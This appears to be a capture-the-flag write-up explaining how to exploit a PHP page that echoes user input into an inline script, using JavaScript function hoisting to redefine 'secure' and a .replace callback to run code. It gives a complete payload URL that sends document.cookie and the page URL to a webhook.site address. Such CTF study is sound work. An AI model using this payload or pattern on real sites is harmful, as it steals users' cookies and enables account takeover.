Tob

Summary

We’ll craft a note URL that makes the page execute JavaScript inside an inline <script> where a function named secure is referenced. Because JavaScript function declarations are hoisted, we can redefine secure inside the same script block and slip a callable .replace(…callback…) that runs our code. The admin bot attaches a readable flag cookie to the app’s origin before visiting our URL, so document.cookie contains the prize.

Start

On the main app. It’s a PHP page that takes title, content, and category from the query string, displays them, and (when content is present) renders a <script> that invokes secure.validate(...) with our content value. That’s the sink we’ll leverage.

<?php if ($content): ?>
<script>
    secure.validate('remove', '<?php echo $content; ?>');
</script>
<?php endif; ?>

This line means our content is interpolated inside a running script on the page that also references a function named secure.

Before that, the app replaces only literal </> in parameters, and then echoes them in various places. but there's a slight problem here in secure.validate script

What the engine does at that line

  1. Look up secure (the “base” of the call).

    • If secure is undefined, reading .validate throws immediately: TypeError: Cannot read properties of undefined (reading 'validate').

    • When that happens, arguments are not evaluated, so nothing inside our argument runs.

  2. Read secure.validate.

    • If secure exists (object or function), this property access is safe, even if it yields undefined.

  3. Evaluate the arguments (left → right).

    • Only now does the engine compute our argument; if our argument is something like '<payload>'.replace(/^/, fn), the callback executes here and can exfiltrate.

  4. Invoke the callee.

    • If secure.validate isn’t callable, a TypeError occurs after argument evaluation, so any side effects from our argument have already happened.

So that means: to get our argument to run at all, we must ensure secure exists at this point in the script. In the next section.

Hoisting

before going into the challenge there's on crucial technique you should be familiar with, and that is hoisting

What is hoisting

Before running a script, JavaScript scans the current scope and lifts (hoists) all function declarations and var declarations to the top of that scope. Function declarations become available by name throughout the scope, even if their text appears later in the source.

Why it matters here:

The app’s script block calls secure.validate('remove', '<OUR_CONTENT>'). If we can smuggle our own function declaration named secure (e.g., function secure(){}) into that same script block, the engine “pins” our secure at the top. Later references to secure (including that call site) resolve to our stub. The original developer’s “real” secure (if any) gets shadowed.

In short: by embedding a function declaration inside the inline script scope, we can rebind what the code thinks secure is, without needing to close the <script> tag or create raw <script> blocks.

For instance, consider the following typical hoisting scenario:

console.log(foo);  // Outputs: undefined
var foo = 'bar';  // name was hoisted; value set later

In this example, the variable foo is declared after it is referenced, but JavaScript doesn't throw an error because the declaration is hoisted to the top of the scope.

Building the payload

We start from the exact sink:

secure.validate('remove', '<USER_CONTENT>');

we need to

  • Stay inside JavaScript (no need for <script> tags).

  • Execute a function we control (via a legitimate API like .replace(...)).

  • Redefine secure with a hoisted declaration so any later secure.* calls are benign.

  • Exfiltrate via a side effect that doesn’t require DOM access (e.g., new Image().src = "...";).

The payload

http://proxy/index.php?title=as&content='.replace(/%5E/,function()%7Breturn(new%20Image().src=%60https://webhook.site/e13dd6e8-7e6a-45a8-a5ef-c41e67405918/?c=$%7BencodeURIComponent(document.cookie)%7D&u=$%7BencodeURIComponent(location.href)%7D%60,'')%7D)%20)%20;%20function%20secure()%7B%7D%20//&category=general

Why .replace(/^/, fn)?

  • Always executes once on any string (regex ^ matches the start).

  • Keeps us inside JS;

  • The callback is a safe execution gadget that linters rarely strip.

runtime

  1. The bot navigates to your URL; it already set a cookie flag=… with httpOnly:false on this origin.

  2. The inline <script> runs. When evaluating the argument that contains your string:

    • Your string’s .replace(/^/, fn) fires the callback.

    • The callback sends a GET to your webhook with document.cookie and location.href, then returns ''.

  3. The expression closes cleanly; no syntax errors are thrown.

  4. Your function secure(){} is parsed as a declaration in this same <script> scope, so it is hoisted and shadows/neutralizes any in-block use of secure.

  5. Your webhook receives the flag in c=...

Last updated

Was this helpful?